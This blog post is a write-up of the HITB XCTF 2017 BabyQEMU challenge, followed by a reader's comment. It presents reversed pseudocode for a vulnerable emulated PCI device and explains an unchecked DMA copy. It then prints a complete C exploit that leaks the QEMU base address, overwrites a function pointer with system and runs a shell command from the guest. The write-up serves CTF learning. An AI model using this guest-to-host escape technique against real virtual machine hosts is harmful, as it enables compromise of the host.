HITB XCTF 2017 BabyQEMU Write-up

Introduction

This post is completely based on the write-up [1] given by KITCTF. This post will give more details on io function in the binary, e.g. hitb_dma_timer, hitb_mmio_read and hitb_mmio_write.
Since a single post cannot cover everything involved in this challenge. I will put more focus on the vulnerability analysis and exploit development in this post. More topics about this challenge will be given in my post on QEMU internals.

<

h2>Environment Setting
The original launch file is given as below:

./qemu-system-x86_64 \
-initrd ./rootfs.cpio \
-kernel ./vmlinuz-4.8.0-52-generic \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \
-enable-kvm \
-monitor /dev/null \
-m 64M --nographic  -L ./dependency/usr/local/share/qemu \
-L pc-bios \
-device hitb,id=vda

We can infer from the script that qemu-system-x86_64 given in the archived file is the vulnerable target and device hitb is the point we launch our attack.

However, the setting given in the launch script is very hard to debug. Therefore, I change the setting to the configuration given in QEMU Debugging Environment Set-up as below

./qemu-system-x86_64 \
-hda /home/dango/Kernel/Image/image03/qemu.img  \
-append 'console=ttyS0 root=/dev/sda oops=panic panic=1 rw' \
-enable-kvm \
-monitor /dev/null \
-m 64M --nographic  -L ./dependency/usr/local/share/qemu \
-L pc-bios \
-device hitb,id=vda

With the installed utilities in driver, it is much more easier to debug.

Vulnerability Analysis

As what I have mentioned in QEMU internal: QEMU Internal: PCNET and QEMU Internal: RTL8139. There exists function hitb_class_init and pci_hitb_realize to initiate the emulated vulnerable device. Furthermore, hitb_mmio_read and hitb_mmio_write are the most important functions in this challenge. In structure hitb_mmio_ops, we found those two functions.
Since we do not know the exact name of the emulated register in this challenge, I will use struct HITBState *hitbState to prepresent tht emulated register in this challenge.

unsigned int hitb_mmio_read(uint_32 *hitbState, int option, unsigned int size)
{
      if(size == 4)
      {
           switch(option):
                  case 0x80:
                       return hitbState[365];
                  case 0x8c:
                       return hitbState[733];
                  case 0x84:
                       return hitbState[731];
                  case 0x88:
                       return hitbState[366];
                  case 0x90:
                       return hitbState[367];
                  case 0x98:
                       return hitbState[368];
                  case 0x8:
                       qemu_mutex_lock(hitbState->lock);
                       val = hitbState[726];
                       qemu_mutex_unlock(hitbState->lock);
                       return val;
                  case 0x0:
                       return 0x10000;
                  case 0x4:
                       return hitbState[725];
                  case 0x20:
                       return hitbState[727];
                  case 0x24:
                       return hitbState[728];
                  default:
                       return -1;
      }
      return -1;
}
unsigned int hitb_mmio_write(uint_32 *hitbState, int option, uint64_t value, unsigned int size)
{
     switch(option){
           case 0x80:
                if( !(hitbState[736] & 1) ){
                      hitbState[365] = value;
                }
                break;
           case 0x8c:
                if( !(hitbState[736] & 1) ){
                      hitbState[733] = value;
                }
                break;
           case 0x90:
                if( !(hitbState[736] & 1) ){
                      hitbState[367] = value;
                }
                break;
           case 0x98:
                if( !(hitbState[736] & 1) && (val&1) ){
                      hitbState[368] = val;
                      //code to invoke QEMU timer
                } 
                break;
           case 0x84:
                if( !(hitbState[736] & 1) ){
                      hitbState[731] = value;
                }
                break;
           case 0x88:
                if( !(hitbState[736] & 1) ){
                      hitbState[366] = value;
                }
                break;
           case 0x20:
                if(val & 0x80)
                    InterLocketOr(hitbState[727], 0x80);
                else
                    InterLockedAdd(hitbState[727], 0xffffff7f);
                break;
           case 0x60:
                uint32_t v = (hitbState[728] | value) == 0;
                hitbState[728] |= value;
                break;
           case 0x64:
                uint32_t v1 = ~value;
                uint32_t v2 = ( hitbState[728] & v1 ) == 0;
                hitb[728] &= v1;
                break;
           case 0x4:
                hitbState[725] = ~value;
           case 0x8:
                if( !(hitbState[727])&1) ){
                      hitbState[726] = value;
                }
                break; 
           default:
                break;
}

In the code listed above, we cannot observe any function that directly writes data into memory. Instead, the most suspicious part is actually the case of 0x98 in hitb_mmio_write, it will trigger a QEMU timer. It reminds me of another function hitb_dma_timer in pci_hitb_realize.c file.

void hitb_dma_timer(HITBState *hitbState)
{
      uint64_t cmd;
      uint32_t v1, addr
      cmd = hitbState[368];
      if(cmd & 0x1)
      {
            if(cmd & 0x2)
            {
                  uint32_t v1 = hitbState[730] - 0x40000;
                  if(v1 & 0x4){
                       // pre-processing code
                       addr = hitbState + v1  + 0xbb8;
                       // post-processing code
                  }
                  else {
                       addr = hitbState + v1  + 0xbb8;
                  }
                  cpu_physical_memory_rw(hitbState[366], addr, (uint16_t)hitbState[367], 1);
            }
            else
            {
                  addr = hitbState + hitbState[366] - 0x3f448;
                  cpu_physical_memory_rw(hitbState[365], addr, (uint16_t)hitbState[367], 0);
                  //some other code
            }
           
      }
      return;
}

In this function, we see the critical part of this challenge. Function cpu_physical_memory_rw is a wrapper function of address_space_rw. We give the definition of this function and some important constants below. More details about this function will be given in the my post on QEMU internal.

void  cpu_physical_memory_rw(hwaddr addr, uint8_t *buf, int len, int is_write)
{
  MemTxAttrs attr = 1;
  address_space_rw(&address_space_memory, addr, attr, buf, len, is_write != 0);
}

/**
 * address_space_rw: read from or write to an address space.
 *
 * Return a MemTxResult indicating whether the operation succeeded
 * or failed (eg unassigned memory, device rejected the transaction,
 * IOMMU fault).
 *
 * @as: #AddressSpace to be accessed
 * @addr: address within that address space
 * @attrs: memory transaction attributes
 * @buf: buffer with the data transferred
 * @is_write: indicates the transfer direction
 */
MemTxResult address_space_rw(AddressSpace *as, hwaddr addr,
                             MemTxAttrs attrs, uint8_t *buf,
                             int len, bool is_write);

typedef enum {
    DMA_DIRECTION_TO_DEVICE = 0,
    DMA_DIRECTION_FROM_DEVICE = 1,
} DMADirection;

At time point, we can get an overview of this challenge. The IO communication functions are used to set the emulated registers first. Then we trigger a QEMU timer to invoke hitb_dma_timer. In this function, if cmd is 0x01, QEMU will write data to a mapped memory and if cmd is 0x3, QEMU will read data from the mapped memory.
From the reversed code above, we can see that there is no check on the boundary of the source and destination register. Therefore, we can start to write exploit.

Exploit Plan

Similar to the exploit on CVE-2015-5165 and CVE-2015-7504, the routine exploit in this challenge is still divided into two steps: (1) Leak the base address of QEMU text, and (2) Hijacking the control flow.
In this challenge, both steps in this challenge involve a critical function hitb_enc. Actually, there is no need to know that is the implementation of this function, all we need to know is that this function exists in structure HITBState as a function pointer and can be triggered by anyone.
Let’s set a breakpoint at hitb_mmio_write to see what it is like

Thread 3 "qemu-system-x86" hit Breakpoint 1, hitb_mmio_write (opaque=0x5555b726d770, addr=128, val=266240, size=4) at /mnt/hgfs/eadom/workspcae/projects/hitbctf2017/babyqemu/qemu/hw/misc/hitb.c:276
276	/mnt/hgfs/eadom/workspcae/projects/hitbctf2017/babyqemu/qemu/hw/misc/hitb.c: No such file or directory.

(gdb) x/8gx $rdi+0x1bb8
0x5555b726f328:	0x00005555b4409dd0	0x000000000fffffff
0x5555b726f338:	0x0000000000000000	0x0000000000000000
0x5555b726f348:	0x0000000000000051	0x00005555b726d500
0x5555b726f358:	0x00005555b726d720	0x0000000000000000

We first need to read the value of function pointer at hitbState + 0x1bb8 and calculate the base address of QEMU text. Then we overwrite the function pointer with system@plt. Next, we overwrite the content of the first argument to “cat flag;”. Finally, we attempt trigger to invoke the function pointer to read the flag.

Exploit

Again I emphasize that the script below in completely based on the write-up given in [1]. For me, there still exists some “fog” in the script.

#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>

#define DMA_BASE 0x40000

unsigned char* iomem;
unsigned char* dmabuf;
uint64_t dmabuf_phys_addr;

void die(const char* msg)
{
	perror(msg);
	exit(-1);
}

void hexdump(uint8_t* mem, size_t len)
{
	for (size_t i = 1; i <= len; i++) 
	{
		printf("%02x ", mem[i-1]);
		if (i % 16 == 0)
			printf("\n");
		else if (i % 8 == 0)
			printf("  ");
	}
}

uint64_t virt2phys(void* p)
{
	uint64_t virt = (uint64_t)p;
	assert((virt & 0xfff) == 0);
	int fd = open("/proc/self/pagemap", O_RDONLY);
	if (fd == -1)
		die("open");
	uint64_t offset = (virt / 0x1000) * 8;
	lseek(fd, offset, SEEK_SET);
	
	uint64_t phys;
	if (read(fd, &phys, 8 ) != 8)
		die("read");
	
	assert(phys & (1ULL << 63));
	phys = (phys & ((1ULL << 54) - 1)) * 0x1000;
	return phys;
}


void iowrite(uint64_t addr, uint64_t value)
{
	*((uint64_t*)(iomem + addr)) = value;
}

uint64_t ioread(uint64_t addr)
{
	return *((uint64_t*)(iomem + addr));
}

void dma_setcnt(uint32_t cnt)
{
	iowrite(0x90, cnt);
}

void dma_setdst(uint32_t dst)
{
	iowrite(0x88, dst);
}

void dma_setsrc(uint32_t src)
{
	iowrite(0x80, src);
}

void dma_start(uint32_t cmd)
{
	iowrite(0x98, cmd | 1);
}


void* dma_read(uint64_t addr, size_t len)
{
	dma_setsrc(addr);
	dma_setdst(dmabuf_phys_addr);
	dma_setcnt(len);

	dma_start(2);
	sleep(1);
}

void dma_write(uint64_t addr, void* buf, size_t len)
{
	assert(len < 0x1000);
	memcpy(dmabuf, buf, len);

	dma_setsrc(dmabuf_phys_addr);
	dma_setdst(addr);
	dma_setcnt(len);

	dma_start(0);

	sleep(1);
}

void dma_write_qword(uint64_t addr, uint64_t value)
{
	dma_write(addr, &value, 8);
}

uint64_t dma_read_qword(uint64_t addr)
{
	dma_read(addr, 8);
	return *((uint64_t*)dmabuf);
}

void dma_crypted_read(uint64_t addr, size_t len)
{
	dma_setsrc(addr);
	dma_setdst(dmabuf_phys_addr);
	dma_setcnt(len);

	dma_start(4 | 2);

	sleep(1);
}

int main(int argc, char *argv[])
{
	int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
	if (fd == -1)
		die("open");
	iomem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
	if (iomem == MAP_FAILED)
		die("mmap");
	
	printf("iomem @ %p\n", iomem);
	dmabuf = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
	if (dmabuf == MAP_FAILED)
		die("mmap");
	mlock(dmabuf, 0x1000);
	dmabuf_phys_addr = virt2phys(dmabuf);
	printf("DMA buffer (virt) @ %p\n", dmabuf);
	printf("DMA buffer (phys) @ %p\n", (void*)dmabuf_phys_addr);
	
	
	uint64_t hitb_enc = dma_read_qword(DMA_BASE + 0x1000);
	uint64_t binary = hitb_enc - 0x283dd0;
	printf("binary @ 0x%lx\n", binary);
	uint64_t system = binary + 0x1fdb18;

	dma_write_qword(DMA_BASE + 0x1000, system);
	char* payload = "cat flag;";

	dma_write(DMA_BASE + 0x100, payload, strlen(payload));

	dma_crypted_read(DMA_BASE + 0x100, 0x1);

	return 0;
}

Conclusion

Actually, I do not completely understand what is happening in the script at present. For example, what is the usage of mlock. As far as I can tell, the script cannot work without it. But I still cannot tell the reason behind that. I think this challenge gives us a list of things that must be understood in future.

Reference

[1] https://kitctf.de/writeups/hitb2017/babyqemu

One thought on “HITB XCTF 2017 BabyQEMU Write-up

  1. Excellent blog, helps a lot.
    In my opinion, the usage of “mlock” is to get the physical address of “dmabuf”. Because when you “mmap” a memory for “dmabuf”, in consideration of efficiency, the os won’t allocate a real physical page until you use it.(like copy-on-write)
    I try to replace “mlock(dmabuf, 0x1000);” with “strncpy((char *)dmabuf, “deadbeef”, 9);”, it can work normally.

    Like

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.